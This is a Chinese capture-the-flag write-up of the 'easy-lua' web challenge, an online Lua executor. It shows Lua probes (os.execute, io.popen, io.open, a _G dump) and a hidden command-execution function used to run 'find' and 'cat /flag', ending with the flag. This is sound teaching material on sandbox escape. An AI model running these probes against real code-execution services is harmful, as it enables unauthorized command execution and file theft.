【CTF-WEB】在线Lua执行器漏洞

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組

题目名称:easy-lua

靶场网址:http://web-ee0662f019.challenge.xctf.org.cn:80/

题目描述: 在线 Lua 执行器,寻找 flag

解题步骤

1. 初始分析

这是一个在线 Lua 执行器,包含:

  • 一个代码输入框
  • 执行按钮和清除按钮
  • 输出显示区域

网页的 JavaScript 代码显示,点击执行按钮后会向 /execute 接口发送 POST 请求,携带 Lua 代码作为 JSON 数据。

2. 尝试常规命令执行

尝试使用 os.execute
lua 复制代码
os.execute("ls -la")

结果 :失败,错误信息显示 os 模块为 nil,说明 os 模块被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'execute'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.popen
lua 复制代码
for line in io.popen(\"ls -la\"):lines() do print(line) end

结果 :失败,错误信息显示 io.popen 为 nil,说明 io 模块的 popen 方法被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'popen'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.open 读取文件
lua 复制代码
local f = io.open("flag","r") if f then local c = f:read("*a") print(c) f:close() else print("File not found") end

结果 :失败,错误信息显示 io.open 为 nil,说明 io 模块的 open 方法也被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring>:1: attempt to index a non-table object(nil) with key 'open'\nstack traceback:\n\t\u003cstring>:1: in main chunk\n\t[G]: ?"}

3. 查看全局环境

为了了解可用的 Lua 函数,我执行了以下代码来查看全局环境中的所有变量和函数:

lua 复制代码
for k,v in pairs(_G) do print(k, type(v)) end

结果

复制代码
package	abel
_G	tabel
_VERSION	string
_GOPHER_LUA_VERSION	string
rawset	function
ntonumber	function
type	function
xpcall	function
print	function
select	function
_printregs	function
setfenv	function
require	function
getfenv	function
getmetatable	function
pcall	function
rawequal	function
tostring	function
module	function
newproxy	function
dofile	function
error	function
load	function
next	function
rawget	function
setmetatable	function
unpack	function
assert	function
collectgarbage	function
loadfile	function
loadstring	function
ipairs	function
pairs	function
table	tabel
string	tabel
math	tabel
S3cr3t0sEx3cFunc	function
getFileContent	function
getFileList	function

4. 发现自定义函数

从全局环境中,我发现了几个有趣的自定义函数:

  • S3cr3t0sEx3cFunc - 看起来像是可以执行系统命令的函数
  • getFileContent - 可以读取文件内容
  • getFileList - 可以获取文件列表

5. 使用 getFileList 查看文件

我首先使用 getFileList 函数查看当前目录下的文件:

lua 复制代码
local files = getFileList() for i,file in ipairs(files) do print("File "..i..":") for k,v in pairs(file) do print("  "..k..": "..tostring(v)) end end

结果

复制代码
File 1:
  name: .DS_Store
  isdir: false
  size: 6148
  mode: -rw-r--r--
  modtime: 2025-11-24 16:30:57 +0000 UTC
File 2:
  name: g0_main_pr0gram_421585
  isdir: false
  size: 6525112
  mode: -rwxr-xr-x
  modtime: 2025-11-24 16:30:38 +0000 UTC
File 3:
  name: index.html
  isdir: false
  size: 7257
  mode: -rw-r--r--
  modtime: 2025-12-09 07:37:41 +0000 UTC

6. 使用 S3cr3t0sEx3cFunc 执行命令

看到 S3cr3t0sEx3cFunc 这个函数名,我猜测它是一个可以执行系统命令的函数。我首先尝试使用它来查找 flag 文件:

  1. 函数名的构成分析

    • S3cr3t - 是 "Secret"(秘密)的变形,用数字 3 替代了字母 e,这是常见的隐蔽命名方式
    • 0s - 是 "os"(操作系统 Operating System)的变形,用数字 0 替代了字母 o
    • Ex3c - 是 "Exec"(执行 Execute)的变形,用数字 3 替代了字母 e
    • Func - 是 "Function"(函数)的缩写
  2. 组合含义

    整个函数名可以解读为 "Secret os Exec Function",也就是 "秘密的操作系统执行函数"。

  3. 上下文推断

    • 这是一个在线 Lua 执行器,核心功能就是执行代码
    • 之前尝试的常规命令执行方法(os.execute, io.popen 等)都被禁用
    • 系统通常会提供自定义函数来实现特定功能,尤其是在禁用了常规方法的情况下

基于以上分析,我猜测 S3cr3t0sEx3cFunc 是一个可以执行系统命令的自定义函数。我首先尝试使用它来查找 flag 文件:

lua 复制代码
local result = S3cr3t0sEx3cFunc("find / -name flag 2>/dev/null") print(result)

结果

复制代码
/flag

找到了 flag 文件位于 /flag 路径!

7. 读取 flag 文件

最后,我使用 S3cr3t0sEx3cFunc 函数读取 flag 文件的内容:

lua 复制代码
local result = S3cr3t0sEx3cFunc("cat /flag") print(result)

结果

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

最终 flag

成功获取到 flag:

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

解题思路总结

  1. 分析目标网站的功能和工作原理
  2. 尝试常规的 Lua 命令执行方法(os.execute, io.popen 等),发现被禁用
  3. 查看全局环境,发现自定义函数
  4. 利用自定义的 S3cr3t0sEx3cFunc 函数执行系统命令
  5. 查找并读取 flag 文件

这个靶场的漏洞在于允许执行 Lua 代码,并且提供了一个名为 S3cr3t0sEx3cFunc 的自定义函数,该函数可以执行系统命令,导致了任意命令执行漏洞。

相关推荐
lpl3129055091 天前
skynet 共享数据原理
服务器·c语言·lua
lpl3129055091 天前
skynet 共享数据项目级应用
服务器·c语言·lua
闪电悠米2 天前
黑马点评-Redis 消息队列-03_stream_consumer_group
开发语言·数据库·redis·分布式·缓存·junit·lua
闪电悠米2 天前
黑马点评-Redis 消息队列-04_stream_seckill_order
数据库·redis·分布式·缓存·oracle·junit·lua
呦呦鹿鸣Rzh2 天前
Redis Lua 脚本:从入门到避坑指南
redis·junit·lua
清晨0012 天前
工业互联网实时数据统计一致性保障 — 基于 Redis Lua 的并发安全方案
redis·安全·lua
x***r1513 天前
Postman-win64-7.3.5-Setup安装配置教程(Windows 详细版)
开发语言·lua
我登哥MVP3 天前
Spring Boot 从“会用”到“精通”:内容协商原理
java·spring boot·后端·spring·java-ee·maven·lua
祁白_4 天前
PHP回调函数
web安全·php·ctf·代码审计·writeup
FFZero15 天前
[mpv脚本系统] (四) 脚本加载与事件循环系统
c语言·音视频·lua·多媒体